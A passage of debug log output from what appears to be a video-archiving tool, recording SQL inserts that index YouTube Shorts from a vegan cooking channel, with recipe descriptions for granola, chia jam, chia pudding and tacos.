sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!", "Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)", "375e9451-2148-4fe0-8a08-c546a5ad4ceb", 1, [], 30, false, "XQjLcTBlKxY", "https://www.youtube.com/shorts/XQjLcTBlKxY", 174, "/downloads/downloads/alec/Steamy Vegan/2023-04-28 Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)/Lemon Poppyseed Granola (with a SECRET ingredient! 🤫) [XQjLcTBlKxY].NA", false, false, true, 1, ~U[2023-04-28 17:18:05Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "FULL RECIPE VIDEO ➡️ \nhttps://youtu.be/ElN-bKuTYR4\n\nI'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!", "Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)", 1, 30, false, "XQjLcTBlKxY", "https://www.youtube.com/shorts/XQjLcTBlKxY", "/downloads/downloads/alec/Steamy Vegan/2023-04-28 Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)/Lemon Poppyseed Granola (with a SECRET ingredient! 🤫) [XQjLcTBlKxY].NA", true, ~U[2023-04-28 17:18:05Z]] 20:31:09.807 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.809 [debug] QUERY OK source="media_items" db=2.1ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-27 15:05:35Z], 1] 20:31:09.811 [debug] QUERY OK source="media_items" db=1.0ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop buying jam from the grocery store and make your own inexpensive and delicious blueberry chia jam instead!\n\nBLUEBERRY CHIA JAM \n4 cups frozen or fresh blueberries (can sub other berries, too)\n4 tbsp chia seeds\n4 tbsp maple syrup\n2 tbsp lemon juice\n\n1. In a saucepan or pot combine all the ingredients together and stir until all the chia seeds have coated the blueberries.\n2. Cover with a lid and let simmer on medium heat until bubbly and it becomes slightly liquidy, around 15 minutes.\n3. Cook uncovered for 2 minutes then remove from the heat and let sit to thicken until its cool enough to ladle into a jar.\n4. Store in the fridge for up to 10 days and enjoy on toast, waffles, pancakes, granola and more!\n\nEnjoyed this recipe? Subscribe to @steamyvegankitchen and never miss another juicy video 😁\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐", "e7c1610a-74ea-46b9-a979-ac49ad4de602", 1, [], 32, false, "rxlh76YVxbM", "https://www.youtube.com/shorts/rxlh76YVxbM", 175, "/downloads/downloads/alec/Steamy Vegan/2023-04-27 STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐/STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐 [rxlh76YVxbM].NA", false, false, true, 2, ~U[2023-04-27 15:05:35Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Stop buying jam from the grocery store and make your own inexpensive and delicious blueberry chia jam instead!\n\nBLUEBERRY CHIA JAM \n4 cups frozen or fresh blueberries (can sub other berries, too)\n4 tbsp chia seeds\n4 tbsp maple syrup\n2 tbsp lemon juice\n\n1. In a saucepan or pot combine all the ingredients together and stir until all the chia seeds have coated the blueberries.\n2. Cover with a lid and let simmer on medium heat until bubbly and it becomes slightly liquidy, around 15 minutes.\n3. Cook uncovered for 2 minutes then remove from the heat and let sit to thicken until its cool enough to ladle into a jar.\n4. Store in the fridge for up to 10 days and enjoy on toast, waffles, pancakes, granola and more!\n\nEnjoyed this recipe? Subscribe to @steamyvegankitchen and never miss another juicy video 😁\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐", 1, 32, false, "rxlh76YVxbM", "https://www.youtube.com/shorts/rxlh76YVxbM", "/downloads/downloads/alec/Steamy Vegan/2023-04-27 STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐/STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐 [rxlh76YVxbM].NA", true, ~U[2023-04-27 15:05:35Z]] 20:31:09.813 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.815 [debug] QUERY OK source="media_items" db=2.2ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-26 19:52:00Z], 1] 20:31:09.817 [debug] QUERY OK source="media_items" db=0.8ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This peanut butter and jam granola bowl is a staple in my house that I make at least once per week. It's a vegan and gluten free recipe that anyone can adjust and make as they'd like.\n\nCheck out my vegan and GF lemon poppyseed granola recipe video here: https://youtu.be/ElN-bKuTYR4\n\nDon't forget to like, comment and subscribe if you'd like to see more vegan and gluten free recipes on the channel. Thanks so much!!!", "How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts", "64e77cf8-99f7-423c-b972-ad0248f22824", 1, [], 35, false, "PKkvzohlfeI", "https://www.youtube.com/shorts/PKkvzohlfeI", 176, "/downloads/downloads/alec/Steamy Vegan/2023-04-26 How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts/How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts [PKkvzohlfeI].NA", false, false, true, 1, ~U[2023-04-26 19:52:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This peanut butter and jam granola bowl is a staple in my house that I make at least once per week. It's a vegan and gluten free recipe that anyone can adjust and make as they'd like.\n\nCheck out my vegan and GF lemon poppyseed granola recipe video here: https://youtu.be/ElN-bKuTYR4\n\nDon't forget to like, comment and subscribe if you'd like to see more vegan and gluten free recipes on the channel. Thanks so much!!!", "How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts", 1, 35, false, "PKkvzohlfeI", "https://www.youtube.com/shorts/PKkvzohlfeI", "/downloads/downloads/alec/Steamy Vegan/2023-04-26 How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts/How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts [PKkvzohlfeI].NA", true, ~U[2023-04-26 19:52:00Z]] 20:31:09.818 [debug] QUERY OK source="sources" db=0.9ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.820 [debug] QUERY OK source="media_items" db=2.2ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-13 16:07:05Z], 1] 20:31:09.822 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Make delicious scrambled eggs from tofu! 🤤 #shorts", "9d16460b-d099-493a-bb60-496dc83e622d", 1, [], 15, false, "xkY_nb6D_dQ", "https://www.youtube.com/shorts/xkY_nb6D_dQ", 177, "/downloads/downloads/alec/Steamy Vegan/2023-04-13 Make delicious scrambled eggs from tofu! 🤤 #shorts/Make delicious scrambled eggs from tofu! 🤤 #shorts [xkY_nb6D_dQ].NA", false, false, true, 1, ~U[2023-04-13 16:07:05Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Make delicious scrambled eggs from tofu! 🤤 #shorts", 1, 15, false, "xkY_nb6D_dQ", "https://www.youtube.com/shorts/xkY_nb6D_dQ", "/downloads/downloads/alec/Steamy Vegan/2023-04-13 Make delicious scrambled eggs from tofu! 🤤 #shorts/Make delicious scrambled eggs from tofu! 🤤 #shorts [xkY_nb6D_dQ].NA", true, ~U[2023-04-13 16:07:05Z]] 20:31:09.823 [debug] QUERY OK source="sources" db=0.7ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.826 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-12 15:12:00Z], 1] 20:31:09.827 [debug] QUERY OK source="media_items" db=1.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🫖 TEA TUESDAY | When you’re craving chocolate but also tea… you drink PURPLE CHOCOLATE TEA! 💜 \n\nThree ingredients: Cacao shells, Kenyan Purple Tea, Rose petals 🌹 It’s deliciously fragrant, comforting and I’d say pretty chocola-tea 😉 \n\nThanks so much to Paul at @JusteaKenya for letting me sample this tea blend — it’s my new fave and satisfies my craving for something chocolatey all the time now! 🍫\n\nLOCAL LOVE 💟 JusTea Kenya | I appreciate that they partner directly with small-scale tea farming families in Kenya, ensuring the farmers 👩🏾\u200D🌾 get paid fairly. Kenyan Purple tea is just like green or black tea… except it’s PURPLE! 💜 The tea leaves are packed with antioxidants (thanks, anthocyanin!) and has less caffeine than green tea. I personally love the taste and it’s pretty to look at! ✨ \n\n#supportlocal #sustainability #shopsustainably #tealover #teadrinker #teatime #cupofteatime #teapro #tealeaves #tealove #ilovetea #teaspiration #steamyvegankitchen #steamyvegan #timefortea", "This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts", "1e3394fa-dd3a-4b1a-a9b7-a41ed2585ced", 1, [], 30, false, "g_okNegjUL0", "https://www.youtube.com/shorts/g_okNegjUL0", 178, "/downloads/downloads/alec/Steamy Vegan/2023-04-12 This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts/This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts [g_okNegjUL0].NA", false, false, true, 1, ~U[2023-04-12 15:12:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "🫖 TEA TUESDAY | When you’re craving chocolate but also tea… you drink PURPLE CHOCOLATE TEA! 💜 \n\nThree ingredients: Cacao shells, Kenyan Purple Tea, Rose petals 🌹 It’s deliciously fragrant, comforting and I’d say pretty chocola-tea 😉 \n\nThanks so much to Paul at @JusteaKenya for letting me sample this tea blend — it’s my new fave and satisfies my craving for something chocolatey all the time now! 🍫\n\nLOCAL LOVE 💟 JusTea Kenya | I appreciate that they partner directly with small-scale tea farming families in Kenya, ensuring the farmers 👩🏾\u200D🌾 get paid fairly. Kenyan Purple tea is just like green or black tea… except it’s PURPLE! 💜 The tea leaves are packed with antioxidants (thanks, anthocyanin!) and has less caffeine than green tea. I personally love the taste and it’s pretty to look at! ✨ \n\n#supportlocal #sustainability #shopsustainably #tealover #teadrinker #teatime #cupofteatime #teapro #tealeaves #tealove #ilovetea #teaspiration #steamyvegankitchen #steamyvegan #timefortea", "This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts", 1, 30, false, "g_okNegjUL0", "https://www.youtube.com/shorts/g_okNegjUL0", "/downloads/downloads/alec/Steamy Vegan/2023-04-12 This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts/This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts [g_okNegjUL0].NA", true, ~U[2023-04-12 15:12:00Z]] 20:31:09.828 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.830 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-05 15:49:48Z], 1] 20:31:09.833 [debug] QUERY OK source="media_items" db=1.6ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mango Chia Pudding 🥭 High-protein, BIG ENERGY ✨ Follow @steamyvegankitchen for more! \n\nInspired by one of my fave refreshing drinks Mango Lassi 🥭\n1 ripe mango, flesh removed and cubed\n1/2 cup unsweetened plant milk \n2 tbsp chia seeds \n1/4 cup vanilla plant yogurt \n2 tbsp shredded unsweetened coconut \n1 tbsp cacao nibs for topping \nOptional: splash of vanilla, pinch of cinnamon and cardamom \n\n1. In a high speed blender or with an immersion blender, blend up the mango until it’s puréed, add a splash of water if needed \n2. Add the milk and chia seeds and stir until well combined.\n3. Pour half of it into a jar and layer in fresh fruit (more mango or banana is great) yogurt, and 1 tbsp shredded coconut. Pour the remaining chia pudding on top and garnish with more shredded coconut and cacao nibs. \n4. Let thicken in the fridge for 30 minutes and enjoy! 🤤\n\nLove this recipe? Follow @steamyvegankitchen for more vegan deliciousness ✨\n\n#steamyvegankitchen #steamyvegan #chiapudding #chiapuddingrecipe #veganbreakfastideas #mangolover #mangoseason #highproteinvegan #plantprotein #eatvegan #veganeats #highenergy #eatclean", "Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts", "ff0ff1d8-09a1-4e73-8797-d62ea7050be7", 1, [], 29, false, "-fjn7f35JwQ", "https://www.youtube.com/shorts/-fjn7f35JwQ", 179, "/downloads/downloads/alec/Steamy Vegan/2023-04-05 Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts/Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts [-fjn7f35JwQ].NA", false, false, true, 1, ~U[2023-04-05 15:49:48Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Mango Chia Pudding 🥭 High-protein, BIG ENERGY ✨ Follow @steamyvegankitchen for more! \n\nInspired by one of my fave refreshing drinks Mango Lassi 🥭\n1 ripe mango, flesh removed and cubed\n1/2 cup unsweetened plant milk \n2 tbsp chia seeds \n1/4 cup vanilla plant yogurt \n2 tbsp shredded unsweetened coconut \n1 tbsp cacao nibs for topping \nOptional: splash of vanilla, pinch of cinnamon and cardamom \n\n1. In a high speed blender or with an immersion blender, blend up the mango until it’s puréed, add a splash of water if needed \n2. Add the milk and chia seeds and stir until well combined.\n3. Pour half of it into a jar and layer in fresh fruit (more mango or banana is great) yogurt, and 1 tbsp shredded coconut. Pour the remaining chia pudding on top and garnish with more shredded coconut and cacao nibs. \n4. Let thicken in the fridge for 30 minutes and enjoy! 🤤\n\nLove this recipe? Follow @steamyvegankitchen for more vegan deliciousness ✨\n\n#steamyvegankitchen #steamyvegan #chiapudding #chiapuddingrecipe #veganbreakfastideas #mangolover #mangoseason #highproteinvegan #plantprotein #eatvegan #veganeats #highenergy #eatclean", "Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts", 1, 29, false, "-fjn7f35JwQ", "https://www.youtube.com/shorts/-fjn7f35JwQ", "/downloads/downloads/alec/Steamy Vegan/2023-04-05 Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts/Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts [-fjn7f35JwQ].NA", true, ~U[2023-04-05 15:49:48Z]] 20:31:09.833 [debug] QUERY OK source="sources" db=0.5ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.835 [debug] QUERY OK source="media_items" db=1.6ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-18 18:12:00Z], 1] 20:31:09.837 [debug] QUERY OK source="media_items" db=1.3ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts \n\nCopycat @chipotle Sofritas Tacos! 🌮\n1. Corn tortillas - warm 'em up on a hot, dry pan on both sides for 20 seconds each\n2. Slather on some Instant Pot Refried Beans (RECIPE: https://youtu.be/4B4GRiB3yzs)\n3. Add a saucy layer of Sofritas (I used @MakeItDairyFree recipe: https://makeitdairyfree.com/copycat-chipotle-sofritas/ )\n4. Add a little fresh crunch with Mango Pico de Gallo (RECIPE: https://youtu.be/zYX8d3bvg_w)\n5. Top with the BEST Guacamole EVER (RECIPE: https://youtu.be/GDjh5_Maauc)\n6. Sprinkle on some plant-based cheese (I used Violife Tex-Mex blend)\nENJOY AND SUBSCRIBE FOR MORE VEGAN FOOD INSPO! 👍🏻🌿\n\nCheck out the rest of the collaborators below! ⬇️\n\nGiovanna Gatto - https://youtube.com/shorts/wCSx9zfQIG8\nEric Metzger / Kevin Solis - https://www.youtube.com/shorts/vKG5SWrN8S0\nC. Adam \"Squirrl\" McClintock - https://youtube.com/shorts/l0nn46OOewQ\nJulius Mayo - https://youtube.com/shorts/4ZHzGisn7lY\nSonila Zarate - https://youtube.com/shorts/UWzYOTFBmbc\nRose Oatley - https://youtube.com/shorts/CMFClRkjuSs\nJoe Isaac - https://youtube.com/shorts/jyZP7z78C90\nValerie Lilley - https://youtube.com/shorts/E-x4KUZoe70\nTita Tanya! - https://www.youtube.com/shorts/lBWffsRPXFc\nKenneth Turner Ken in the Kitchen - https://youtube.com/shorts/4MlG1ZsCfSU\nTrufie Beulah - https://youtube.com/shorts/FFeG5Ngv1wc\nAshley Frederick / Whip It Like Butter - https://youtube.com/shorts/63VRWZ46_eE\nKatelyn Baldwin - https://youtube.com/shorts/fjMBtuyWrEo\nJanelle Carss / Steamy Vegan Kitchen - https://youtube.com/shorts/55CZner_Hhw\nDevin Boesing / @BoeBoeCooks - https://youtube.com/shorts/Ki827TsZka0\nCurtis Zondag / Indo_Chef - https://youtube.com/shorts/7xZRI8-dsHw\nShaan Grande @(whatsindepot) - https://youtube.com/shorts/FGM1cIYAFNo\nXuan Klevecka & Davis Luong - https://youtube.com/shorts/Xyt_IWbvCJY\nThimmy Abenes / Cook with Thimmy - https://youtube.com/shorts/kvDPK1qekAY\nJoanna Rankin / Lowbrow Fancy - https://www.youtube.com/shorts/gJRRChlvK7U\nDonna Greeson / Stir the Pot - https://youtube.com/shorts/lXeSP1NZ8Q0\nKid Chef Scarlet - https://youtube.com/shorts/vDh2Wd8Ih08\nPhilip Lemoine - https://youtube.com/shorts/ocwZUu6h_fM\nBrian & Sasha / Hoshi's Kitchen - https://youtube.com/shorts/xKyWpBCbVaw\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest-complete-package?ref=R3PGjUSm \n\nWatch my other 'WHAT I EAT' videos ➡️ https://www.youtube.com/playlist?list=PLf7woCLAh2s_EA5CAAa5fOF1PXubyDgkj\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/", "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts", "084ac030-dbaf-4f0e-935d-cd9d3b5203a9", 1, [], 57, false, "55CZner_Hhw", "https://www.youtube.com/shorts/55CZner_Hhw", 180, "/downloads/downloads/alec/Steamy Vegan/2023-03-18 My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts/My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts [55CZner_Hhw].NA", false, false, true, 1, ~U[2023-03-18 18:12:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts \n\nCopycat @chipotle Sofritas Tacos! 🌮\n1. Corn tortillas - warm 'em up on a hot, dry pan on both sides for 20 seconds each\n2. Slather on some Instant Pot Refried Beans (RECIPE: https://youtu.be/4B4GRiB3yzs)\n3. Add a saucy layer of Sofritas (I used @MakeItDairyFree recipe: https://makeitdairyfree.com/copycat-chipotle-sofritas/ )\n4. Add a little fresh crunch with Mango Pico de Gallo (RECIPE: https://youtu.be/zYX8d3bvg_w)\n5. Top with the BEST Guacamole EVER (RECIPE: https://youtu.be/GDjh5_Maauc)\n6. Sprinkle on some plant-based cheese (I used Violife Tex-Mex blend)\nENJOY AND SUBSCRIBE FOR MORE VEGAN FOOD INSPO! 👍🏻🌿\n\nCheck out the rest of the collaborators below! ⬇️\n\nGiovanna Gatto - https://youtube.com/shorts/wCSx9zfQIG8\nEric Metzger / Kevin Solis - https://www.youtube.com/shorts/vKG5SWrN8S0\nC. Adam \"Squirrl\" McClintock - https://youtube.com/shorts/l0nn46OOewQ\nJulius Mayo - https://youtube.com/shorts/4ZHzGisn7lY\nSonila Zarate - https://youtube.com/shorts/UWzYOTFBmbc\nRose Oatley - https://youtube.com/shorts/CMFClRkjuSs\nJoe Isaac - https://youtube.com/shorts/jyZP7z78C90\nValerie Lilley - https://youtube.com/shorts/E-x4KUZoe70\nTita Tanya! - 